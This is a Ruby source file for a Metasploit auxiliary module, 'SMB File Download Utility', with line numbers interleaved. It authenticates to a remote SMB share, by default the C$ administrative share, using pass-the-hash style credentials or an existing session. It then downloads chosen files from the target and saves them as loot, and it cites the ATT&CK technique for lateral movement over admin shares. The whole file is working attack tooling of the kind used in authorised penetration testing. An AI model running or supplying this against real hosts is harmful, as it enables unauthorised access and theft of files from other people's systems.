1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7

8
  # Exploit mixins should be called first
9
  include Msf::Exploit::Remote::SMB::Client
10
  include Msf::Exploit::Remote::SMB::Client::Authenticated
11
  include Msf::Exploit::Remote::SMB::Client::RemotePaths
12
  include Msf::Auxiliary::Report
13
  include Msf::Auxiliary::Scanner
14
  include Msf::OptionalSession::SMB
15

16
  def initialize
17
    super(
18
      'Name' => 'SMB File Download Utility',
19
      'Description' => %(
20
        This module downloads a file from a target share and path. The usual reason
21
      to use this module is to work around limitations in an existing SMB client that may not
22
      be able to take advantage of pass-the-hash style authentication.
23
      ),
24
      'Author' => [
25
        'mubix' # copied from hdm upload_file module
26
      ],
27
      'License' => MSF_LICENSE,
28
      'Notes' => {
29
        'Stability' => [CRASH_SAFE],
30
        'SideEffects' => [],
31
        'Reliability' => []
32
      },
33
      'References' => [
34
        [ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ]
35
      ]
36
    )
37

38
    register_options([
39
      OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$'])
40
    ])
41
  end
42

43
  def smb_download
44
    vprint_status('Connecting...')
45
    if session
46

47
      print_status("Using existing session #{session.sid}")
48
      self.simple = session.simple_client
49
    else
50
      connect
51
      smb_login
52
    end
53

54
    vprint_status("Mounting the remote share \\\\#{simple.address}\\#{datastore['SMBSHARE']}'...")
55
    simple.connect("\\\\#{simple.address}\\#{datastore['SMBSHARE']}")
56

57
    remote_paths.each do |remote_path|
58
      vprint_status("Trying to download #{remote_path}...")
59

60
      data = ''
61
      fd = simple.open(remote_path.to_s, 'o')
62
      begin
63
        data = fd.read
64
      ensure
65
        fd.close
66
      end
67

68
      fname = remote_path.split('\\')[-1]
69
      path = store_loot('smb.shares.file', 'application/octet-stream', rhost, data, fname)
70
      print_good("#{remote_path} saved as: #{path}")
71
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
72
      elog("Unable to download #{remote_path}:", error: e)
73
      print_error("Unable to download #{remote_path}: #{e.message}")
74
    end
75
  end
76

77
  def run_host(_ip)
78
    validate_rpaths!
79

80
    begin
81
      smb_download
82
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
83
      elog("Unable to login: #{e.message}", error: e)
84
      print_error("Unable to login: #{e.message}")
85
    end
86
  end
87
end
88

89